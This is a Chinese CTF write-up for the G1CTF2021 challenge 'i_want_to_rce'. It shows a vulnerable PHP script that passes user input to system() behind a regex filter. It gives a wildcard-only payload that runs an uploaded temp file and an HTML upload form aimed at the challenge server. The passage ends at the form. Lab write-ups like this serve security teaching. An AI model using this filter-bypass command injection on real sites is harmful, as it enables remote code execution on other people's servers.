G1CTF2021 | 题目解析之i_want_to_rce – 作者:无名草talent-安全小百科

G1CTF2021 | 题目解析之i_want_to_rce – 作者:无名草talent

访问网址显示内容如下:

1622098597_60af42a5e19348b39f48e.png!small?1622098595141

分析

代码如下:

<?php
error_reporting(0);
if(!isset($_GET['code'])){                          #code参数highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){       #绕过正则die('fighting!'); 
    }
    system($code);                                  #输出flag}

主要考查PHP代码审计和绕过规则

该题和津门杯hate_php很类似

1622101436_60af4dbc80464fb8d6649.png!small?1622101433438

不同的地方就是函数eval(),system()

eval类型函数是代码执行 system类型函数是命令执行不需要闭合

绕过原理:

payload:?code=.%20/???/????????[@-[]

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

1622100937_60af4bc97bd26df61ae01.png!small?1622100934463

该题的PHP版本是5.6

解题步骤

1.打开本地服务器phpStudy

2.在根目录下一般是 \phpStudy\WWW 创建一个 .txt文件

写一个文件上传php代码然后改成 .html文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://10.1.5.252:2333/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

1622102539_60af520b70721eba5d00d.png!small?1622102536372